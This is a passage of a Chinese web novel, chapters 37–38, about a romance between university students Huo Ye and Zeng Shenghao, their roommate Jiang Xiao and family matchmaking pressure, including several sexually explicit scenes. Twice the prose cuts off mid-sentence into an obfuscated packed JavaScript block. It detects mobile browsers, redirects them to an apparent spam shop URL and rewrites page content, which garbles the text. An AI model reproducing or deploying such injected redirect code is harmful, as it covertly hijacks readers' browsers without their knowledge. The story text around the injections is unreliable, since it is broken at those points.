重振雄风是件好事,霍晔本打算将这种优良传统持续下去,谁料曾盛豪这么快就忍不了了。 霍晔今晚没做准备,偏偏曾色魔又热衷于欣赏那种少儿不宜的装扮,他知道曾盛豪不在乎,他在乎。 不仅十分在乎,而且二十分羞耻。 要是曾盛豪愿意舔着脸,像他哄曾盛豪那样哄他,他不介意拿着曾盛豪每天刮胡子用的那只电动剃须刀就自己剃了,但那小子居然敢给他摆臭脸? 他才不伺候! 楼下乒铃乓啷的死动静还没结束,霍晔皱着眉头,正怀疑是不是曾盛豪故意装的?忽地一声“哐当!”,接着,响起那人一道不轻不重的惊呼声。 “艹!”霍晔猛地心沉,一路狂奔下楼去厨房。 “曾盛豪!”霍晔一见菜刀掉在水槽里,案台狼藉一片,除了切得横七竖八的法棍碎尸,剩下洒得都是面包屑。 他忙冲过去检查对方手指,紧张道:“伤哪儿了?快给我看看!” “没,”曾盛豪低头道,“太硬了,我又不太会用切面包机。” “下次让阿姨切好装起来,”霍晔心有余悸,埋头攥紧对方手指,不停吻着,“吓死我了,你以后别进厨房了,太危险了!” “其实,”曾盛豪笑,“这些面包都过期了,她明天要扔掉。” 霍晔抬头皱眉:“那你还吃?” 曾盛豪认真解释:“我没要吃,我就是想看看,到底我要切多久你才会下来跟我说话。” 霍晔:“???” 曾盛豪闷头将他抱住,在他颈间来回蹭:“现在你下来了,太好了,我晚上不用自己一个人睡了。” 霍晔:“……” 刚燃起的愤怒之火,又莫名其妙地熄灭下去。 时间不早了,吃饭要紧。 霍晔把曾盛豪赶到客厅饭桌等着,自己脱外套、撸袖子、挂围裙,给人洗米煮粥,蒸了俩红糖馒头,然后拧开灶火和油烟机,炒了个黄瓜虾仁鸡蛋和彩椒肉丝,又撕了半颗小白菜,做了道简便爽口的醋溜凉菜。 粥盛好,菜端桌,霍晔解下围裙,拿了副筷子陪人一起坐着吃。 曾盛豪抬筷子指一下那道醋溜白菜,说:“我今晚本来要给你做这个的。” 霍晔轻哼:“那你刚才切面包的时候怎么不做?” 曾盛豪也哼:“刚才不饿,气饱了。” 霍晔就笑:“明天我早点回来,你再给我做,怎么样?” 曾盛豪点头:“也不用太早了,我明天要去医院看江箫。” 霍晔往他碗里夹了块儿大鸡蛋:“那我也要去。” 曾盛豪嚼着鸡蛋:“你不许去。” 霍晔给他夹白菜:“我不和他一起吃晚饭了还不行吗?” 曾盛豪嚼着白菜:“不行,他老刷那种没意义的短视频,会影响你的心智和学习。” 霍晔:“……” 曾盛豪吃完饭就起身去刷碗,这是他每天第二喜欢的环节。 首先,他可以为这个家庭做点贡献,这是身为“老公”的殊荣。 其次,霍晔总是一脸笑眯眯地瞅着他鼓捣洗碗机,这令他自我感觉良好,仿佛他操纵的不是洗碗机,而是整个天下! 最后,等这环节结束了,他就可以正式迈入每天最喜欢的环节。 曾盛豪洗完碗,又洗了遍手,仔细擦了两遍玫瑰味的护肤精油,扭脸问霍晔要不要一起泡个澡放松一下? “怎么放松?”霍晔笑眼弯弯。 “你躺我怀里,我帮你做全身按摩。”曾盛豪语气十分正派。 “然后呢?”霍晔明知故问。 “然后一切就水到渠成了。”曾盛豪笑。 霍晔简直无法抵抗这个人的笑容,欣然应道:“好啊。” 曾盛豪缓缓朝他走近,双手牵住他的两只手,一边步履从容地把他往浴室引,一边倾身温柔地亲吻他的眉梢、眼皮、鼻梁、脸颊……最后落到他的嘴唇,舔舐、吸吮,接着撬开他齿关,持续深进与他舌身缠绵。 霍晔浑身发热,感觉自己快被对方吻融化了,他陶醉地喘|xi着,忘情地贪恋对方胸膛的温暖。 浴室门慢慢合拢,镜面逐渐升腾起模糊的热雾,他们身体摩|擦着彼此,不自觉发出幸福的笑声。 “小晔,我会对你好的。” “我知道,我相信你!” 37.第三十七章 曾盛豪一连六天没去打网球,下午上完课就去买水果和晚餐,打包带去学校医院给江箫吃,然后坐着陪江箫聊会儿天。 江箫吃饭的时候,他就在桌边把白天新学功课复习一遍,比在家里书房闻着满屋飘香的霍晔香水味儿学习效率更高。 江箫没办法再做暑期兼职了,第二天就让曾盛豪帮他把搜集打印的语料带过来,从早到晚地趴在床上背单词练口语。 曾盛豪不禁庆幸,幸亏第一天江箫刚进院时没这么用功,不然他还真没合适的借口阻止霍晔跑来探病。 之前霍晔私下找他聊过江箫,问他要不要派人打探一下江箫老家情况,不然日后大家相处,万一不小心说错话了闹得大家都不愉快。 霍晔的意思,无论从实力还是野心,江箫都不容小觑。 这人刚开学就一门心思转户口,励志将来要在北京扎稳脚跟,分明是个倔强刚硬的人,但私下巴结起导员和校团委的那帮领导也很能做得来,圆滑世故能屈能伸,在一众师生眼里,他都是极具号召力的人物。 他家境不穷,但也不富裕,自认为男子汉顶天立地,不愿找父母伸手要钱,自己吃饭时也较为节省,然而他衣服从里到外全是优质名牌,在学生会各部门请客也是极尽挥霍的手笔,寒暑假赚的巨额兼职费几乎全耗在这上面,只力求打造出他本身家境良好的优质形象。 当然这么做回馈颇丰,江箫入校仅一年就迅速拓展出A大和M大的人脉,还混过几次高层领导的饭局,有领导作风清正,瞧不上江箫这副官僚气浓的做派,当然也有领导欣赏他机变灵活,觉得他年轻有为,又是小地方出身,很好掌控,总不吝于表露对他的栽培提拔之意。 霍晔觉得这人不简单,迟早要比年仅28岁就稳坐部门主管的周羽要更强,万一日后江箫真在京立了自己门户,又十分清楚大学期间他和曾盛豪之间的秘密,曾盛豪又要走仕途…… 从品德来看,霍晔对江箫很放心,但人是会变的,大学怎样,不意味着步入社会了就怎样,况且在名利面前,品德算个狗屁? 霍晔只想不遗余力地拉拢这个人,让江箫进入他霍家的阵营,而不是站在他和曾盛豪的对立面。 曾盛豪立刻否决。 他不希望霍晔太关注除他之外的任何英俊男性,以“你这是阴谋论,而且会侵犯人家隐私”为由,将霍晔严厉责备了一番,让霍晔打消了探究江箫的想法。 仅是一闪而过的念头,霍晔也歉然,搞得好像他里外不是人了。 他身在高位,早不是幼时在部队大大咧咧的傻小子,归国之后,他周遭遇到的每一个人、每一处看似偶然的巧合都不得不令他反复品味细思,只求防微杜渐,别再惹祸上身,殃及家人和枕边人。 他逐渐醒悟,叔叔口中“如履薄冰”这四个字,压在肩膀上到底有多沉重。 霍晔经常不吝于给同学室友们一些好处,以求和平相处,少招红眼嫉妒,大家都有的,江箫会大方接受;只有他一个人有的,江箫会果断拒绝。 江箫大概是误会他意思了,对霍晔表明以后自己想创业,不想给霍家当员工。 同是M大学子,就因为家庭出身不同,他毕业后就要给自己的上铺打工当奴才,多掉面儿啊! 霍晔私下不止一次对曾盛豪说,他真不知道该怎么再和江箫说才能不伤二人之间的感情,自从性向暴露之后,他再也没过过集体生活,他很怀念从前,也格外珍惜现在,他不想失去朋友。 曾盛豪的思路很简单: 他不允许霍晔对这个人产生任何感情。 鉴于此,曾盛豪认为自己有义务对江箫付出双倍的关心。 曾盛豪最近给江箫带的都是清淡口味的饭菜,既贵又难吃,江箫很想念霍晔第一天给他带的大肘子卷饼和排骨汤。 曾盛豪其实也每天换着花样给他带排骨汤、乌鸡汤、人参汤和老母鸡汤,但特地交代厨师是给病人的,要求少油少盐少味精,江箫一个重口味的人,成天啃生肉似的,痛不欲生。 江箫婉拒过几次,说他可以自己拄着拐去医院食堂吃,反正他早午餐也是吃食堂,偶尔食堂吃腻了,就去楼下小卖部买个煎饼炸串烤冷面或者面包牛奶方便面。 曾盛豪摇着头驳回他的婉拒,说医院食堂用的是普通珍珠米,色沉粘牙还难吃,至于外面那些转基因地沟油炸出来的垃圾食品,江箫更不能总吃了。 一日三餐,江箫必须有一顿要吃得营养。 曾盛豪的意思,江箫一个人在外面不容易,他作为室友,有义务要让江箫感受到家人般的温暖。 江箫笑得想哭,一时闹不清家人和仇人之间的区别。 他只是尾骨裂了,又不是病入膏肓了。 他们平时还算要好。霍晔手握无数资源项目,一向只参加创业类赛事,他本身还对色彩敏锐度极高,擅长美术创作,偶尔做做3D,画画平面,拿几个广告短片创新奖;曾盛豪和江箫则热衷于拿外语赛事类奖项,以此来丰富履历,俩人每次有什么一手消息,总先互相串通,确认参加后,再捎带上幺鸡。 幺鸡那小子除了爱情,整天无忧无虑的,逢上重要赛事,只一味随大流。江、曾报什么比赛,他就只管放心跟着报,每次居然还都能拿个名次,着实引得人羡慕嫉妒恨。 但幺鸡第二课堂的社团分全是自己辛苦赚的,霍晔除了创新创业赛,其余分数都是让江箫帮忙搞的。 江箫手握无数活动,随便找学长学姐要个名额,新生开学前三个月就帮霍晔全部搞完了。 全宿舍就只剩曾盛豪一个人干着急。 江箫有提过要帮曾盛豪凑分,曾盛豪拒绝作弊,非坚持自己可以挤时间找合适的社团活动参加,结果一挤,快一整年过去了,他才拿二十分。 书画社获一等奖的唐伯虎作品,十分,霍晔帮他写的; 创业赛获一等奖的风控模型,十分,霍晔帮他做的。 江箫就劝他,说这不叫作弊,这叫近水楼台先得月,况且社团那帮学长学姐,都是他砸钱砸时间砸感情,日积月累砸出来的熟人,他给自个儿室友谋点儿福利咋啦? 曾盛豪仍不情愿,说他还有一年半时间,可以再挤一挤。 霍晔冷脸不屑笑,让江箫不用跟这装货废话,直接行动!曾装货某天一觉醒来发现自己第二课堂学分满了,正要找江箫问罪,江箫一句“你家那位让的”,立刻让曾盛豪闭了嘴。 如果是霍晔,这就不是罪过。 这是“爱”,爱情的爱。 这几天,江箫对每晚曾盛豪带来的水果挺有兴趣,除了橘子苹果香蕉草莓蓝莓,像什么芭乐莲雾牛油果,有些只见过、没吃过,莲雾他说不上名字,还有释迦果,他听都没听过。 不过这些水果小众不是没有道理的,江箫品尝过后,发现它们其实都有一个统一的名字: 难吃。 “我发现你还挺会照顾人的,本来以为你当大少爷从小就享福,都是别人伺候你呢。” 江箫盘腿坐在床沿剥橘子,望一眼窗边帮他打扫卫生的曾盛豪,笑了声。 他身体恢复快,其实趴两天就完全不疼了,每天老实拄拐也是为防止二次骨裂,省得再给曾盛豪添麻烦。 曾盛豪严格听从医嘱,一口气帮他续了两周的单间住宿费,怪贵的,江箫自认为他要是不修养(享受)一下,不太好。 但是今晚,他硬着头皮喝完曾盛豪给他带的霸王别姬汤,忽然一口就咬住那黢黑软烂的王八脚,登时膈应得胃液涌流,立刻嚷着要出院!必须要出院! 恕他无福享受这种大补的高档玩意儿,他还是觉得小卖部摊位用地沟油炸的金黄酥脆的骨泥淀粉肠更好吃。 曾盛豪扫完地,走近收拾桌上作业,扭头道:“我爷爷常年病着,我经常陪着他,细节上可能会多注意一点吧。” 江箫顿觉失言,忙道歉:“不好意思,我不知道……” “没,”曾盛豪笑了声,把他爷爷早些年一个人默默无闻的驻非经历给江箫讲了,说,“如果能将自己生平所学都奉献给国家,这对我们小家来说是莫大的光荣,伤病即是勋章,我爷爷也骄傲。” 江箫沉默良久,道:“你们家的思想觉悟真高,你爸妈也很厉害吧?他们这么忙,还能培养出你这种品行如一的好儿子。” 曾盛豪犹豫几秒,那句噎在喉间的“你别这么想,世间父母,各有各的伟大”没能说出来,只笑道:“其实我小时候跟我爷爷的时间比较多。” “但是,”江箫皱眉道,“如今让我默默无闻一辈子,我一定会生不如死。” 突然一刹那,曾盛豪和这个人共鸣了。 他默然攥着书包拉链,似乎也懂得了这个外地男生的挣扎和痛苦,胸前不禁涌起一阵心酸。 他很少会同情别人,他触摸不到旁人具体的苦难,哪怕别人伤心欲绝掉眼泪,他一向只会采取理论上的开解和疏导,不管有没有安慰到对方,他都有充足的理由说服自己,我是一个如此善良正义的好人。 曾盛豪顿了顿,扭头嘱咐道:“这件事,你别告诉霍晔。” 江箫愣了下:“这有啥不能说的?” 问完,他立刻一拍脑门,醒悟过来,说:“你以后是不是也会被外派到其他国家?随机派?” 曾盛豪皱眉:“我知道你们都好心,但这是我私人的事,我只想光明磊落地过完这一生,如果有人干预,我会不舒服。” 江箫几乎难以理解:“你觉悟太高了吧?” 曾盛豪决然道:“我只想忠于本心。” 江箫纳闷:“但是,你的信息,他能查不着?” 曾盛豪摇头:“我的详细资料只具体到我的父母这一代,我爷爷是建国初的外交官,很多信息不便公开,也没人会特地去查。” 江箫轻啧:“但你们都……总之,这对他来说也就是提一嘴的事儿吧?况且你本身就很优秀,要是有霍家出面,只是让上头在同等条件下更倾向选你,这又不是作弊。” 曾盛豪否决:“不,正因如此,才更要避嫌。” 自从叶婧柠正式宣布和霍晔撇清关系后,他们那个圈子里想必掀起不小的风浪,即便霍晔嘴上不提,曾盛豪每天和这个人朝夕相处,也隐约察觉出来,霍家目前的处境是有些尴尬的。 江箫有些受不了他榆木脑袋。 他不禁感慨:“老二啊,有时候,我真觉得你这人挺傻的。” “你以为这世道是公平的吗?你以为是金子就会发光吗?不会的。明珠尚且要遭蒙尘,一片池塘里只要落进一粒食,所有人都会不择手段争得鱼死网破的。” “我不管别人,我只管好我自己。”曾盛豪态度坚决,“我问心无愧。” “好好好,”江箫熟悉他脾气,无奈笑道,“我尊重你,这事儿到我这就止住了,反正你就算流落街头也饿不死,我用不着替你操那个闲心!” 曾盛豪赞许点头:“你这样想是正确的。” 江箫笑了声:“明天你是不是和霍晔来学校打球?正好,我请你俩吃顿饭吧,然后我就回家了。” 曾盛豪应允:“可以,但你不要因为我帮你带饭就挑太贵的地方,我会有道德压力。” 江箫失笑:“你这人……真是,知道了。” 江箫病房堆了不少学习资料和行李,还有一个曾盛豪买来的电动小洗衣机,但功率太大,不能在宿舍插电,路上也不太好搬,江箫和曾盛豪商量了一下,就送给了隔壁肩腿骨折的一个学长。 学长大三工科生,前段时间保了研又拿到了名牌公司的实习offer,双喜临门庆功宴,他请全班同学喝酒,散席时醉醺醺的,不知怎么就从三楼的楼梯上滚下去了,至今在医院躺了一个多月,从早到晚没人管,实习工作也没能去成。 “你原来早就认识他吗?”曾盛豪发现江箫和霍晔一样,总对身边人的情况了如指掌。 “一开始不认识,”江箫笑,“后来他在隔壁听见我洗衣服,拄着拐来敲我门,问能不能蹭我洗衣机,我们就认识了。” “哦哦,”曾盛豪想了想,又说,“如果不太熟的话,其实我们也可以转二手卖给他。” “算了吧,他经济不富裕,住院的事也没告诉家里人,有天夜里我上厕所路过他病房,看到他在哭。”江箫摇头,“他伤得比我重,最近连早午餐都是我帮他买的。” “那确实没必要了,”曾盛豪唏嘘一声,又不禁对身旁人心生钦佩,“我发现你真是个好人。” 江箫乐得不行:“是因为你们都是好人,我才是个好人。” “曾盛豪你知道吗?我原先不相信世界上会有真诚的人,我始终认为人性本恶,但自从遇见了你,我发现我的世界观很浅薄,即便我一辈子都成为不了你这样的人,我也开始认为那些听起来很像喊口号的‘真善美’是允许存在的,而且是必须存在的。” “我……”曾盛豪惭愧挠头笑,“我没有你说得那么好。” “好不好不是由你我说了算,”江箫笑着拍了拍他肩膀,“看人家霍晔多喜欢你吧,他什么人没见过?” 曾盛豪不禁笑得脸红。 他对江箫这句话倒是很认可。 等晚上睡觉,曾盛豪搂着怀里人,低头在对方裸露肩膀啄个不停,又冲人耳边讲了江箫一大堆好话,并正式给江箫扣上“超级大好人”的章。 “这才六天,”霍晔醋气大发,“他再不出院,你怕不是明天就被他拐走了?” “怎么会?”曾盛豪笑,将怀里人翻个身,低头和对方蹭着鼻尖,“宝贝,等我下周回家了就找我爸妈讲我们的事,好不好?” 霍晔不禁惊喜:“真的?” 曾盛豪郑重点头“嗯!” 霍晔又不免沮丧:“你家人……一定会恨死我的。” 曾盛豪捧着他脸,温柔亲吻安慰:“不会的,你这么好,就算他们不喜欢你,也只是因为不了解你。” “而且你和我妈打过电话啊,她很喜欢你的。” “去你的,她都没见过我,只是跟我在客套。” “我妈不会随便和人客套的。” “那是因为我是霍晔,而不是李晔、张晔、陈晔。” “那很巧啊,”曾盛豪笑,“正好我也不认识什么李晔张晔陈晔,我就遇见一个霍晔。” “真受不了你了……”霍晔倾身吻住他唇,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍晔也笑:“这是我应该做的。” 隋莉态度亲热:“有空就让盛豪带你来家里玩儿吧,阿姨请你吃饭。” 霍晔乖巧夹嗓子:“行,谢谢阿姨!” 挂完电话,霍晔立刻就萎了。 他恨恨咬牙瞪着浴缸里那张沾满花瓣的无辜大脸,一时竟舍不得发脾气。 霍晔还没做好准备,抱怨曾盛豪有点操之过急。 曾盛豪就问:“那你想什么时候说?” 霍晔挠着下巴:“不知道。” 曾盛豪有点生气:“怎么不知道?你刚满十八还差点订婚呢!” 霍晔偶尔会躺在他旁边刷擦边男视频消遣,这事儿曾盛豪自持年轻貌美,除了不停在人耳边嘀咕“这个美颜过的,他鼻梁有点歪”、“这个腹肌打了阴影的”、“这个一看就是长腿特效,现实估计也就175上下”……暂时没找霍晔吵架。 只要他一天没名分,霍晔就随时有可能被那种不务正业的男人勾搭走。 不是他自吹,他从一开始就认为霍晔只有待在他的身边才能获得良好的成长和发展。 自打霍晔和他在一起,私下连脏话都很少骂了。 曾盛豪认为,只有把对象介绍给父母知道了,他和他才可以称得上是名正言顺。 * 次日傍晚二人约着打网球。 曾盛豪提前交代过霍晔,必须穿及膝的运动裤,不可以露大腿,球拍不用带,他一开始就买了一对儿,下课后骑车去宿舍拿。 霍晔被他逗得直笑,老实听话点头:“行,听你的!” 二人在网球场碰面儿,霍晔一身拉夫劳伦休闲装,白色短袖藏青长裤,笑得一脸玩世不恭,又透着优雅矜贵气,曾盛豪不禁也满意笑起来。 余光一瞥,见霍晔在阳光下白的发光的胳膊,又忍不住蹙眉。 或许,霍晔下次可以再把短袖替换成长袖。 俩人去长椅放东西,霍晔接过曾盛豪递过来的护腕,瞥见他背包鼓囊囊的,好奇指了一下:“你书这么多吗?” “拿拍的时候,把书放宿舍了,这是喝的。” 曾盛豪拎着书包抖搂给他看,里面除了两瓶百岁山,还有一堆便利店买的赤橙红绿青蓝紫的方盒果蔬汁。 “啥意思?”霍晔愕然瞅他,“集齐全套就可以召唤神兽吗?” “这是有滋味的,”曾盛豪介绍道,“不知道你会喜欢喝哪个,所以我都买了。” 霍晔笑哼,扭胯撞他一下:“讨厌!” 曾盛豪受不住这人撒娇,仔细环顾四下没人,刚想凑近对方亲一下脸,裤兜电话就响了起来。 曾盛豪有点扫兴地掏手机看。 是他爷爷打来的微信视频。 霍晔探头瞅:“接啊,怎么不接?” 曾盛豪心脏沉沉的,有点不太敢:“我爷爷……没跟我打过视频。” 他爷爷总秉持传统思想,认为小孙上学就是上学,一天二十四小时除了吃饭睡觉都在读圣贤书,至于什么谈情说爱、下课和喜欢的人打网球、深夜和心上人大汗淋漓地赤身交战,还热衷把人摁在自己胯|下猛猛骑什么的,根本不存在的。 爷爷连消息都很少发,更别提打电话,怕小孙学习分心。 万幸,曾盛豪打开视频,发现爷爷精神不错,还冲他笑声招手:“小豪啊,我是爷爷,没打扰你学习吧?” 曾盛豪忙道:“没有没有,我和同学在打球呢。” 说完,一把将不停往旁边躲的霍晔拽过来怀里,对镜头介绍道:“爷爷,这是我同学,他叫霍晔。” 霍晔莫名拘谨:“爷爷好。” 曾老没想到小孙交新朋友了,也开怀道:“诶,你好你好!平时小豪做不到位的地方,请你多包容他。” 霍晔点头笑:“我会的。” 没聊几句,曾老又嚷着喊小豪,说:“你还记得你席爷爷不?戏剧协会的那个胖爷爷,你小时候喜欢看他家的小狗儿。” “他专门从海南来探望我啦,你快赶紧给你席爷爷打声招呼。” 说着,将镜头对准疗养室内另一个眉目含笑、体型富态的老人家。 曾盛豪忙冲人鞠躬问好:“席爷爷。” 席老颇为满意地笑:“好好好,真是一表人才,小时候就英朗,现在居然都长这么俊了!” 曾老大言不惭,说长得俊算什么?又开始跟老友炫耀起他家小孙德才兼备,品行优良,还熟练掌握好几国语言,吹得曾盛豪都不好意思了。 曾盛豪无意掺和他们老友叙旧,更不提旁边霍晔无聊,手指像调皮的猫爪不停使坏挠他大腿,撩得他心猿意马的。 曾盛豪正要插嘴想挂电话,他爷爷察觉他不耐烦,便扭过头笑:“你席爷爷说了,他挺喜欢你,其实他来陪了我好几天了,明天就回海南了,今天特地把他孙女小曦也领来了。” “她叫席曦,你往后就喊她小曦好了。” 曾盛豪骤然变了脸色。 身旁撒娇一样挠在他腿上的手指也悄无声息地离开了。 曾老情绪高涨,在镜头里笑声撮合道: “你说巧不巧,你小曦妹妹高考刚考上你隔壁A大了,这就是缘分啊!她往后一个人在外地上学不方便,你就替我和你席爷爷多照应照应她,知道吗?” “来,也跟你小曦妹妹打声招呼。” 不待镜头转向那女孩,曾盛豪负气丢给他爷爷一句“我不照应!我有对象了!”然后挂断视频,一路急追去伸手逮那个早已狂奔向操场的男生。 38.第三十八章 傍晚落日昏黄,云霞漫天,校园操场绿坪如茵,不时有燕雀成群飞掠而过。 霍晔跑得飞快,曾盛豪追得疾猛。 光天化日,操场人多耳目杂,曾盛豪不便大声解释,只好不停命令前方人“站住!”,这话无疑激得霍晔更恼,步速愈快,恨不得将身后负心汉甩出十万八千里。 两人不知怎的就上了跑道,从“浪漫偶像剧式追逐”切换为体育频道,大汗淋漓地上演了一场“狂飙体能的竞争赛跑”。 霍晔肾上腺素飙升,一口气绕着跑道冲刺了三公里,眼见把曾盛豪越甩越远,心里不禁得意起来。 他渐渐忘了自己奔跑的原因,只一味美滋滋地数圈,越跑越带劲,直至距离曾盛豪守株待兔的地方还有五米远,那混蛋一脸笑意地慢悠悠迎上来,问他跑够了没,没跑可以再继续,霍晔轻皱下眉,又觉得哪里不对劲。 曾盛豪忽然一把攥住他胳膊,低头靠近过来:“你明知道我不会同意,还生什么气?” 霍晔愤愤甩开他手,瞪他:“我就生气!你家人当着我面儿给你介绍对象,我还不能生气了?!” 曾盛豪便点头:“有道理,那你可以生气。” 霍晔双手猛推他一把:“我想生气就生气,不想生气就不生气,用不着你允许!” 曾盛豪莫名被他可爱到,笑道:“好的。” 霍晔不可置信瞪着他:“你还笑!你还笑?!” 二话不说又往曾盛豪肩膀砸了好几拳头,怒道:“也是,当了这么多年直男,这辈子可算是有机会跟女生说上话了,看把你美成这样!” “你想什么呢?我已经拒绝了。” 曾盛豪面容痛苦地揉着肩膀,安抚道,“你放心,等我回家就把这些事处理干净,既然我们已经有了夫妻之实,我一定不会让你受委屈。” “夫什么妻!就算你不处理,老子自己也会处理!”霍晔冷呵不屑,“我像是那种受委屈的人么?!” “好好好,你别乱来,交给我就好,”曾盛豪柔声哄道,“我爷爷身体不好,你不要吓到他。” “你……”霍晔顿了顿,抬眼望他,“曾盛豪,如果你敢为了哄你家老头儿高兴就跑去结婚生子,我一定会弄死你。” “好的,我很认同你的态度。”曾盛豪笑了声,将他抱进怀里,“但我想,我不会给你弄死我的机会。” “曾盛豪,”霍晔闷声道,“你抱我啊……” “嗯,我抱着你呢。” “这是在外面……” “没关系,我们这是兄弟式拥抱。” “去你的!” 今晚的网球是没法打了,俩人跑了一身大汗,八点还和江箫约了吃饭。 回家洗澡换衣服的路上,曾盛豪接到了徐冕的电话。 徐冕和曾老算是忘年交,住家多年,听过无数遍曾老夸赞小孙,连台词儿都能背下来了,今天是头一次听曾老嫌怨小孙不懂事,害自己在老友面前丢脸。 席老倒没说什么,临走前还嘱咐曾老不要太责备小豪,强扭的瓜不甜,这种终身大事,光他们俩老头子高兴也没啥意义。 曾老反而更加过意不去。 恰好徐冕来给他检查身体,曾老找他倒苦水,说曾盛豪一个人在外面读书久了,翅膀硬了,竟敢不报备就随便找女生谈恋爱,简直是胡闹! 论出身门第,论家族渊源,论才德貌相,论实力相当,天底下难道还有比席曦更适配他的人了吗?! 徐冕也有点惶恐,劝老爷子别激动。 他这是有史以来第一次在老爷子嘴里听到“曾盛豪”的全名。 徐冕问大少爷要不回个电话,先认个错? 曾盛豪拒绝。既然他没法分手,那就没法认错,强行辩解只会让爷爷更激动,还是先等老人家消气了再说。 霍晔在一旁偷听电话有点担心,怕老爷子为老不尊,搞强行指婚那一套。 曾盛豪摇头说不会,顶多就是爷爷把他骂一顿。 想当初,他爸爸和爷爷的父子关系都恶劣到分居的程度了,爸爸快结婚时才把妈妈领回家,爷爷对妈妈很不满意,嫌她家庭不好,父母哥嫂人均品德低劣,她还没嫁过来呢,她家人就到处顶着曾家的旗号在外面招摇撞骗,她哥哥一个小小的高中政治系主任,居然和当地的教育局局长结拜成了干兄弟,简直是滑天下之大稽! 不仅如此,爷爷还嫌妈妈是狐狸精长相,一看就不是持家的料。 爸爸一意孤行和妈妈结了婚,爷爷一夜之间就改了说辞,说妈妈从头到脚全是优点,对内温柔体贴懂事顾家,在外工作也能独当一面,堪称雌雄同体,爸爸能娶到她是几辈子修来的福气。 爷爷评价,夫妻俩分明只相差两岁,二人站在一起却仿若相差十岁,爸爸老气横秋,妈妈年轻貌美,他的小豪从年幼漂亮到大,也全是因为随了妈妈。 妈妈离婚后,父母哥嫂就占不到曾家的便宜了,全家人不停劝她要识相,哥哥甚至以死相逼,要求她和妹夫复婚,妈妈忍无可忍,和他们断绝了关系,爷爷怕她想不开,不时打电话安慰她,这么多年也一直将她当亲女儿一样疼爱。 曾盛豪让霍晔不要想太多,他们只要过了父母这关就好。 霍晔心不在焉地点头,说:“我信你。” 曾盛豪察觉他情绪不对:“你……还有事想说吗?” 霍晔摇头:“没。” 自打生日那天,他一直没回过家,后来叶婧柠爸爸叶志兴亲自拎着谢罪礼登门,和他爸妈聊取消订婚的事,他全家人也都表示理解。 他爸妈没单独找他聊,料想他不愿对他们袒露心扉,这件事是叔叔在公司告诉他的,说他爸妈已经知道了他有一个同性伴侣,也猜出婧柠的拒婚实则是他的暗示。 有叔叔帮忙瞒着,他爸妈暂时不知道这个伴侣就是曾盛豪,否则不待他爸妈阻挠干预,他外公肯定第一个拿枪崩了他。 他爸妈委婉的意图通过叔叔的嘴传达给他,希望他把这个男生藏得严实点儿,不要闹到明面上来。 霍晔答应说:“好。” 面对父母大方的默许,他只能说“好”。 他爸妈真的对他很宽容,宽容的同时,又令他认为自己如此见不得光,更对自己心爱的人难以启齿。 回到家,霍晔进浴室冲澡,正低头抹着洗发膏,曾盛豪裸着身子跟进来,一把将他从身后抱住,黏黏糊糊地求|爱,想要和他亲热。 霍晔就笑,说等晚上回来了再搞,等下他们还要出门吃饭。 曾盛豪抱紧他,耍赖道:“我不要,手黏住了,松不开了。” 霍晔也舍不得推开他,扭头商量道:“那就只来一次啊。” 曾盛豪迫不及待吻住他:“好!” 一不留意就在浴室激战搞了一个多小时,直到抽屉里的套全部用光,他们吻得也有些缺氧,才终于意识到快迟到了。 霍晔开始埋怨曾盛豪下半身思考说话不算数,曾盛豪小声嘟囔,“明明是你太那个了……故意勾引我。” “我哪个?床上的事儿不都这样的么?”霍晔瞥他,“你挨操的时候,要么跟个死木头似的不吱声,要么受不住了就又哭又闹,一点情趣都没有,就很有意思了?” 曾盛豪不满咕哝,“你昨夜里还夸我做得好,而且每次都是我帮你弄那里,你一次都不帮我,明明还没在一起的时候就说愿意的,现在把我骗到手了就不认了……” “大哥,”霍晔皱眉瞅他,“你那么大号,谁吃的下?” “你的,”曾盛豪红着脸瞅他,“我不就吃得下么……” “那你自己吃你自己的呗!”霍晔爽声笑出来。 “你——!”曾盛豪有点生气,“我下次不帮你弄了!” “好的,好的,”霍晔模仿他腔调,“反正我又没逼你,你自己忍得住就行!” 曾盛豪眉头紧蹙。 他越来越怀疑,霍晔千方百计把他睡到手,只是为了想气死他。 俩人一边说着话,一边匆匆冲干净身体,互相帮忙吹干头发,然后换衣服出门打车。 霍晔没喊龙溪。 龙溪资深老司机,仅是扫他俩一眼,就能判断出他和曾盛豪刚才干过什么。 譬如今晚这种情况,龙溪嘴角能翘一路。 霍晔无所谓,主要是曾盛豪会害臊。 有次下班太累了,曾盛豪坐在他旁边,二人挨着的膝盖不时摩擦相碰,曾盛豪恍若未觉地翻着书页,嘴角微翘,霍晔抬手揉着太阳穴纾解疼痛,余光打量着对方假正经的小模样儿,越看越想心痒。 他有些忍不住,想在车上搞,曾盛豪吓得一边躲一边不停给他使眼色,示意他龙溪还在。霍晔装看不见,非要霸王硬上弓,曾盛豪挣扎太激动,眼瞅着裤子要被拽下去了,反手就甩他了一巴掌。 霍晔先是愣了下,然后拱舌舔着肿胀处,直接就给气笑了。 霍晔嫌曾盛豪没出息,对不起他那根金刚擎天柱。 曾盛豪嫌霍晔没分寸,堂堂金贵之躯,怎么能随便在外面现场直播? 霍晔还算好哄,因为一句“金贵之躯”,原谅了对方的忤逆行径。 不过当夜做得稍微狠了点儿,把曾盛豪干背过气去好几次,怎么哭饶都没用。 他算是发现了,曾大根表面是曾大根,私下就是个爱哭鬼。 江箫今晚请客的地方是在学校附近一个家常菜餐馆,因为和老板熟识,暑期放假学生也少,他们仅三人也能坐二楼的大包厢。 江箫正坐着跟旁边服务生点菜,一抬头见霍、曾俩人春潮满面地并肩迈进屋,连周遭空气都散发着同款沐浴露的香味儿。 他忍不住就笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551936|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声来。 “我说呢,这么点儿距离怎么还晚了,你俩要因为这档子事儿放我鸽子,我可跟你们没完啊!” 曾盛豪转身就跑。 “我去上厕所!” 